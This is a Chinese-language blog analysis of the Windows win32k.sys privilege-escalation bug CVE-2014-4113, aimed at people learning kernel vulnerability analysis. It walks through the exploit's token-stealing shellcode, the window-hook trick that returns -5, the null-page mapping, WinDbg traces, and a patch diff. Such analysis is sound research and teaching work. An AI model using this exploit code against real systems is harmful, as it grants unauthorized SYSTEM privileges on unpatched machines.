文章来源:安全客

作者:k0pwn_ko

前言

内核漏洞对我来说一直是一个坎,记得两年前,刚刚接触二进制漏洞的时候,当时今天的主角刚刚出现,当时调试这个漏洞的时候,整个内心都是崩溃的,最近我重温了一下这个漏洞,发现随着自己学习进步,对整个内核漏洞分析的过程也变的越来越清晰,而且在这个内核漏洞的调试过程中发现了一些很有意思的调试细节,因此想把自己的这个调试笔记分享出来,希望能和大家多多交流,也能有更多的进步。

今天的主角就是CVE-2014-4113,这个win32k.sys下的内核漏洞是一个非常经典的内核漏洞,它无论在Exploit利用,内核漏洞的形成原因,可以说是教科书式的,非常适合对内核漏洞感兴趣的小伙伴入门分析。

另一种方法定位漏洞

内核漏洞分析是一个比较复杂的过程,其实无论对于内核态漏洞还是软件态漏洞,都需要通过对补丁,或者PoC,或者Exploit进行阅读,通过对源码的分析可以了解到很多和漏洞有关的细节,所以这次我们也要阅读一下关于CVE-2014-4113的Exp,从中获取一些信息。

LRESULT CALLBACK ShellCode(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)  
{
PEPROCESS pCur, pSys ;  
fpLookupProcessById((HANDLE)dwCurProcessId,    &pCur);  
fpLookupProcessById((HANDLE)dwSystemProcessId, &pSys);  
#ifdef _WIN64
*(PVOID *)((ULONG_PTR)pCur + dwTokenOffset) = *(PVOID *)((ULONG_PTR)pSys + dwTokenOffset);
#else
*(PVOID *)((DWORD)pCur + dwTokenOffset) = *(PVOID *)((DWORD)pSys + dwTokenOffset);
#endif
return  0 ;  
}

在源码分析过程中,我们关注Shellcode函数中的代码片段,可以看到Shellcode做了一件事情,就是针对32位系统和64位系统,会将当前系统的系统进程句柄psys,加上token的偏移赋值给当前用户进程的token,而这种手法也是现在Windows提权中一个非常好用的方法。

众所周知,Exploit一般不会影响软件或者系统的正常运行,而会执行Shellcode中的恶意代码,在我们没有PoC来引发软件或者系统异常的情况下,往往会通过Shellcode中的一些关键步骤的跟踪来接近漏洞的触发位置。

那么在这个过程中我们就用上面的Shellcode来跟踪这个漏洞。首先我们来说一下_EPROCESS结构体,这个结构体包含着当前进程的很多信息,这个过程我们可以通过!process 0 0的方法来得到。当然这个命令只有在内核态才能使用,我们通常通过Windbg远程调试的方法来完成。

可以看到,通过!process 0 0的方法获取到的system进程的句柄位置在0x867c6660,接下来我们来看一下我们执行的Exploit进程位置。

当前Exploit的地址是0x86116bb0,这两个地址就是_EPROCESS结构体的地址,下面我们来看一下这个结构体的内容。

可以看到,偏移+0x0c8位置存放的就是Token,而结合上面分析的Shellcode的内容,Token就是进行替换提权的关键位置。

实际上提权时,就是用0xe10007b3这个系统进程的Token,替换当前用户进程的0xe116438c这个Token,这也是下断点的一个重要依据,通过下条件断点,可以跟踪到当前进程句柄的变化情况。

ba w1 86116c78 ".printf \"TOKEN CHANGE TO: [%08x]\\n\",poi(86116c78);.if(poi(86116c78)==0xe10007b3){;}.else{g;}"  

跟踪到00411f88位置的时候,程序中断,也是这时候当前进程句柄被替换,同时回溯到堆栈调用情况。

当前堆栈调用展示了整个内核漏洞发生问题的过程,我们需要关注这个回溯过程,在后面的分析中需要用到,也由此我们定位了漏洞触发的关键流程,为后续的分析提供了依据。

kd> kb  
ChildEBP RetAddr  Args to Child  
WARNING: Frame IP not in any known module. Following frames may be wrong.  
9b5f7a24 81ff94f3 fffffffb 000001ed 014cfd14 0x1301448  
9b5f7a64 81ff95c5 fffffffb 000001ed 014cfd14 win32k!xxxSendMessageTimeout+0x1ac  
9b5f7a8c 820792fb fffffffb 000001ed 014cfd14 win32k!xxxSendMessage+0x28  
9b5f7aec 82078c1f 9b5f7b0c 00000000 014cfd14 win32k!xxxHandleMenuMessages+0x582  
9b5f7b38 8207f8f1 fdf37168 8215f580 00000000 win32k!xxxMNLoop+0x2c6  
9b5f7ba0 8207f9dc 0000001c 00000000 ffffd8f0 win32k!xxxTrackPopupMenuEx+0x5cd  
9b5f7c14 828791ea 004601b5 00000000 ffffd8f0 win32k!NtUserTrackPopupMenuEx+0xc3  

在接下来的调试分析中,由于ASLR的关系,导致有些关键函数地址基址不太一样,不过不影响我们的调试。

一些有趣的调试细节

关于这个漏洞分析,其实网上有相当多非常详细的分析,这里我就不再做具体分析了,网上的方法多数都是通过Exploit正向分析,而通过Shellcode定位这种方法,可以用回溯的方法分析整个漏洞的形成过程,可能更加便捷,各有优劣。关于这个漏洞的分析,我不再详述,只是在调试过程中发现一些有趣的调试细节,想拿出来和大家一起分享。

首先我大概说一下这个漏洞的形成过程,在销毁菜单的过程中会产生一个1EB的消息,因为SendMessage的异步调用,导致在销毁菜单时通过消息钩子的方法,通过截断1EB消息,返回一个0xffffffb的方法,在随后的SendMessageTimeout函数中会调用这个返回值,作为函数调用,而在之前的if语句判断中没有对这个返回值进行有效的检查,当我们通过0页的分配,往0x5b地址位置存入Shellcode地址,这样就会在Ring0态执行应用层代码,导致提权。

那么在这个过程中,有一些有意思的地方,第一个是消息钩子截获1EB消息,并且返回0xfffffffb,第二个就是在SendMessageTimeout中在Ring0层执行应用层Shellcode代码的过程。

首先在调用xxxTrackPopupMenuEx的时候会销毁窗口,这个过程中会调用SendMessage,实际上,在SendMessage调用的时候,是分为同步和异步两种方式,两种方式的调用也有所不同,先看看同步,调用相对简单。

SendMessage (同线程)  
 SendMessageWorker
  UserCallWinProcCheckWow
   InternalCallWinProc
    WndProc
但是当异步调用的时候,情况就相对复杂了,而我们的提权也正是利用了异步的方法,用消息钩子来完成的,首先来看看异步调用的情况。
SendMessage (异线程)  
 SendMessageWorker
  NtUserMessageCall (user mode/kernel mode切换)
    EnterCrit
   NtUserfnINSTRINGNULL (WM_SETTEXT)
    RtlInitLargeUnicodeString
    xxxWrapSendMessage (xParam = 0)
     xxxSendMessageTimeout (fuFlags = SMTO_NORMAL, uTimeout = 0, lpdwResult = NULL)
   ⋯⋯
  xxxReceiveMessage
  xxxSendMessageToClient
     sysexit (kernel mode进入user mode)
   ⋯⋯
         UserCallWinProcCheckWow
         InternalCallWinProc
          WndProc
       XyCallbackReturn
       int 2b (user mode返回kernel mode)

这里有很关键的两处调用,一个在sysexit,在这个调用的时候,会从内核态进入用户态,也就是说在消息钩子执行的时候,通过这个调用会进入钩子的代码逻辑中,而当应用层代码逻辑执行结束后,会调用int 2b这个软中断,从用户态切换回内核态,这个过程就是通过消息钩子完成的,而正是利用这个钩子,在钩子中销毁窗口并且返回在整个提权过程中至关重要的0xfffffffb。

首先在HandleMenuMessages->MNFindWindowFromPoint之后会进入SendMessage中处理,这个时候通过安装的钩子会截获到1EB消息。

源码中钩子的部分。

lpPrevWndFunc = (WNDPROC)SetWindowLongA( pWndProcArgs->hwnd,  
                                         GWL_WNDPROC, 
 (LONG)NewWndProc ) ;        // LONG
LRESULT CALLBACK NewWndProc(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam)  
{
if(uMsg != 0x1EB)  
{
return CallWindowProcA(lpPrevWndFunc, hWnd, uMsg, wParam, lParam) ;  
}
EndMenu() ;  
return (DWORD)(-5) ; // DWORD  
}

来看一下动态调试的过程,通过之前对异步SendMessage函数的调用关系可以看到异步调用会进入SendMessageTimeout函数处理,跟入这个函数通过回溯看到函数调用关系。

kd> p  
win32k!xxxSendMessageTimeout+0x8:  
967e934f 56              push    esi  
kd> p  
win32k!xxxSendMessageTimeout+0x9:  
967e9350 57              push    edi  
kd> p  
win32k!xxxSendMessageTimeout+0xa:  
967e9351 8b7d20          mov     edi,dword ptr [ebp+20h]  
kd> kb  
ChildEBP RetAddr  Args to Child  
a216ca1c 967e95c5 fea0e878 000001eb a216ca98 win32k!xxxSendMessageTimeout+0xa  
a216ca44 968695f6 fea0e878 000001eb a216ca98 win32k!xxxSendMessage+0x28  
a216ca90 96868e16 fde80a68 a216cafc 00000000 win32k!xxxMNFindWindowFromPoint+0x58  
a216caec 96868c1f a216cb0c 9694f580 00000000 win32k!xxxHandleMenuMessages+0x9e  

随后我们单步跟踪,在SendMessageTimeout函数中找到调用SendMessageToClient函数。

kd> p  
win32k!xxxSendMessageTimeout+0x1c9:  
967e9510 56              push    esi  
kd> p  
win32k!xxxSendMessageTimeout+0x1ca:  
967e9511 e81aaaffff      call    win32k!xxxSendMessageToClient (967e3f30)  

通过IDA pro分析这个函数,在LABLE_16位置调用了一个叫sfn的函数,这个sfn的函数就是负责进入用户态的。

LABEL_16:  
    result = SfnDWORD(v17, v18, v19, (int)v20, v21, v22, v23, v24);
int __stdcall SfnDWORD(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8)  
  v9[53].Next[12].Next = v8;
  ms_exc.registration.TryLevel = -2;
  UserSessionSwitchLeaveCrit();
  v27 = KeUserModeCallback(2, &v21, 24, &v28, &v29);

当sysexit调用后,内核态和用户态进行了切换。进入用户态,应用层就是我们的钩子内容。

kd> p  
Breakpoint 6 hit  
001b:00f21600 55              push    ebp  

实际上,这就是一个钩子之间的调用过程,也是提权漏洞利用过程中一个至关重要的环节。那么接下来,在钩子函数中,我们会利用EndMenu函数销毁窗口,并且返回0xfffffffb,这个过程在很多分析中都有了,下面我们来看看从用户态切换回内核态的过程。

首先销毁窗口后,0xfffffffb会交给eax寄存器,随后进入返回过程。

kd> bp 00251631  
kd> g  
Breakpoint 1 hit  
001b:00251631 b8fbffffff      mov     eax,0FFFFFFFBh  
kd> kb  
ChildEBP RetAddr  Args to Child  
WARNING: Frame IP not in any known module. Following frames may be wrong.  
014cf5b4 769dc4e7 000e0240 000001eb 014cf6e4 0x251631  
014cf5e0 769dc5e7 00251600 000e0240 000001eb user32!InternalCallWinProc+0x23  
014cf658 769d4f0e 00000000 00251600 000e0240 user32!UserCallWinProcCheckWow+0x14b  
014cf6b4 76a0f0a3 005be8b0 000001eb 014cf6e4 user32!DispatchClientMessage+0xda  
014cf6dc 77106fee 014cf6f4 00000018 014cf7ec user32!__fnOUTDWORDINDWORD+0x2a  

我们在应用层通过回溯,可以看到回溯过程中的函数调用,这里单步调试,可以跟踪到连续向外层函数进行返回。也就是不停的执行pop,ret的过程,直到跟踪到user32!_fnOUTDOWRDINDWORD中,我们单步跟踪。

kd> p  
user32!__fnOUTDWORDINDWORD+0x2e:  
001b:76a0f0a7 5a              pop     edx  
kd> p  
user32!__fnOUTDWORDINDWORD+0x2f:  
001b:76a0f0a8 8d4df4          lea     ecx,[ebp-0Ch]  
kd> p  
user32!__fnOUTDWORDINDWORD+0x32:  
001b:76a0f0ab 8945f4          mov     dword ptr [ebp-0Ch],eax  
kd> p  
user32!__fnOUTDWORDINDWORD+0x35:  
001b:76a0f0ae e86171fcff      call    user32!XyCallbackReturn (769d6214)  

在fnOUTDWORDINDWORD中,调用了XyCallbackReturn,再回头看之前关于SendMessage函数异步过程的描述,XyCallbackReturn正是从用户态切换回内核态一个关键函数调用,跟进这个函数,可以观察到调用了int 2B软中断,回归内核态

kd> t  
user32!XyCallbackReturn:  
001b:769d6214 8b442404        mov     eax,dword ptr [esp+4]  
kd> p  
user32!XyCallbackReturn+0x4:  
001b:769d6218 cd2b            int     2Bh  

这个过程会携带钩子的返回结果,从而到后面执行shellcode,回归内核态之后,来看一下调用到shellcode。

kd> g  
Breakpoint 4 hit  
win32k!xxxSendMessageTimeout+0x1a9:  
967e94f0 ff5660          call    dword ptr [esi+60h]  
kd> dd esi  
fffffffb  ???????? ???????? fe9d3dd8 00000000  
kd> dd esi+60  
0000005b  00f61410 00000000 00000000 00000000  
kd> t  
00f61410 55              push    ebp  
Executable search path is:  
ModLoad: 00f60000 00f67000   EoP.exe  
ModLoad: 770c0000 771fc000   ntdll.dll  
ModLoad: 76760000 76834000   C:\Windows\system32\kernel32.dll  

我们事先在0x5b地址位置分配了0页内存,然后往里存放了一shellcode的地址,这样call esi+60相当于call 0x5b,从而进入shellcode的内容。

其实在调试漏洞的过程中,钩子的调用是一个很有趣的过程,也是触发这个漏洞的关键,同样,不仅仅是CVE-2014-4113,在很多Windows提权漏洞的利用上,都用到了类似手法,比如CVE-2015-2546等等。

在文章一开始,我提到这个漏洞的关键原因是一处if语句判断不严谨导致的漏洞发生,当结束了这个有趣的调试细节之后,我将通过补丁对比,以及补丁前后的动态调试来看看这个漏洞的罪魁祸首是什么。

补丁对比与过程分析

我们安装CVE-2014-4113的补丁,可以看到,补丁后利用提权工具提权后,仍然不能获得系统权限。

补丁前:

补丁后:

我们通过BinDiff来分析一下这个补丁前后发生了哪些变化,这时候我们需要通过文章最开始,我们在定位了提权发生的位置之后,通过堆栈回溯的过程看到的函数调用关系,来确定我们应该看看哪些函数发生了变化。

实际上补丁前后大多数函数变化都不大,但是看到xxxHandleMenuMessages中存在一些小变化,跟进这个函数查看对比。

注意对比图下方有一些跳转产生了变化,放大下面这个块的内容。

左侧黄块和这个漏洞无关,可以看到左侧是两个绿色块直接相连,表示直接跳转,而右侧补丁后,则在两个绿块之间增加了一个黄块,观察黄块,其中调用了一个IsMFMWFPWindow函数,这个函数可以通过IDA pro看到它的作用。实际上就是一个bool函数,用来限制0,-1和-5的情况,下面我们来动态调试分析。

BOOL __stdcall IsMFMWFPWindow(int a1)  
{
  return a1 && a1 != -5 && a1 != -1;
}

首先是补丁前,会经过一系列的if判断,直接单步跟踪到最关键的一处if判断。

if ( *(_BYTE *)v3 & 2 && v13 == -5 )  
kd> p  
win32k!xxxHandleMenuMessages+0x54c:  
968692c5 f60702          test    byte ptr [edi],2  
kd> p  
win32k!xxxHandleMenuMessages+0x54f:  
968692c8 740e            je      win32k!xxxHandleMenuMessages+0x55f (968692d8)

这个if判断其实是想处理0xfffffffb的情况的,也就是说,当v13的值等于-5,也就是0xfffffffb的时候,会进入if语句,而不会执行将-5传递到下面的SendMessage中,然而这个if语句中的是与运算,也就是说,当前面v3&2不成立的时候,就不会进入if语句了,而动态调试前面是不成立的,直接跳转到后面的if语句判断。

if ( v13 == -1 )  
kd> p  
win32k!xxxHandleMenuMessages+0x55f:  
968692d8 83fbff          cmp     ebx,0FFFFFFFFh  
kd> p  
win32k!xxxHandleMenuMessages+0x562:  
968692db 750e            jne     win32k!xxxHandleMenuMessages+0x572 (968692eb)  

这就导致了-5被传递到后面的SendMessage,从而导致了后面的代码执行。

win32k!xxxHandleMenuMessages+0x572:  
968692eb 6a00            push    0  
kd> p  
win32k!xxxHandleMenuMessages+0x574:  
968692ed ff7510          push    dword ptr [ebp+10h]  
kd> p  
win32k!xxxHandleMenuMessages+0x577:  
968692f0 68ed010000      push    1EDh  
kd> p  
win32k!xxxHandleMenuMessages+0x57c:  
968692f5 53              push    ebx  
kd> p  
win32k!xxxHandleMenuMessages+0x57d:  
968692f6 e8a202f8ff      call    win32k!xxxSendMessage (967e959d)  
kd> dd esp  
8b46fa94  fffffffb 000001ed 0091f92c 00000000  

可以看到,当执行SendMessage的时候,第一个参数为0xfffffffb,后续会在SendMessageTimeOut中引发进入Shellcode,这个之前已经提到。

接下我们一起看一下补丁后的调试情况,补丁后,引入了IsMFMWFPWindow函数多做了一个if语句的判断。

kd> r  
eax=00040025 ebx=fffffffb ecx=8a8d7a74 edx=8a8d7b74 esi=9765b880 edi=fe5ffa68  
eip=9756bf10 esp=8a8d7aa0 ebp=8a8d7ae8 iopl=0         nv up ei ng nz ac pe cy  
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00000297  
win32k!xxxHandleMenuMessages+0x570:  
9756bf10 53              push    ebx  
kd> p  
win32k!xxxHandleMenuMessages+0x571:  
9756bf11 e889b90000      call    win32k!IsMFMWFPWindow (9757789f)  

可以看到ebx作为参数传入IsMFMWFPWindow,ebx的值为0xfffffffb,而这个值是-5,判断肯定是不通过的,返回false。

kd> p  
win32k!IsMFMWFPWindow+0xb:  
975778aa 837d08fb        cmp     dword ptr [ebp+8],0FFFFFFFBh  
kd> p  
win32k!IsMFMWFPWindow+0xf:  
975778ae 740b            je      win32k!IsMFMWFPWindow+0x1c (975778bb)  
kd> p  
win32k!IsMFMWFPWindow+0x1c:  
975778bb 33c0            xor     eax,eax  

可以看到ebp+8判断是否为false,这里是为false的,所以跳转,不执行SendMessage,这样漏洞就被修补了,我们最后来看一下补丁前后的伪代码。

补丁前:

 v13 = xxxMNFindWindowFromPoint(v3, (int)&UnicodeString, (int)v7);
            v52 = IsMFMWFPWindow(v13);
            ……//省略一部分代码
            if ( *(_BYTE *)v3 & 2 && v13 == -5 )//key!这里第一个判断不通过
            {
              xxxMNSwitchToAlternateMenu(v3);
              v13 = -1;
            }
            if ( v13 == -1 )
              xxxMNButtonDown((PVOID)v3, v12, UnicodeString, 1);
            else
              xxxSendMessage((PVOID)v13, -19, UnicodeString, 0);//key!

补丁后:

v29 = xxxMNFindWindowFromPoint((WCHAR)v3, (int)&UnicodeString, (int)v7);  
    v50 = IsMFMWFPWindow(v29);
    if ( v50 )
    {
      ……
    }
    else 
    {
      if ( !v29 && !UnicodeString && !(v30 & 0x200) )//了
      {
        ……      }
      ……
      if ( v29 == -1 )
        goto LABEL_105;
    }
    if ( IsMFMWFPWindow(v29) )//Key!!!这里先调用了IsMFMWFPWindows做了一个判断,然后才send
      xxxSendMessage((PVOID)v29, -17, UnicodeString, Address);

到此,这个内核漏洞解剖完毕,以前一直觉得内核漏洞很可怕,现在仔细分析之后,其实发现内核漏洞也是很有意思的,仿佛给我开了一扇新的大门,里面有很多有趣的东西值得去探索,分析的时候只要理清逻辑关系,其实会简单好多,文章中如有不当之处还请各位大牛斧正,多多交流,谢谢!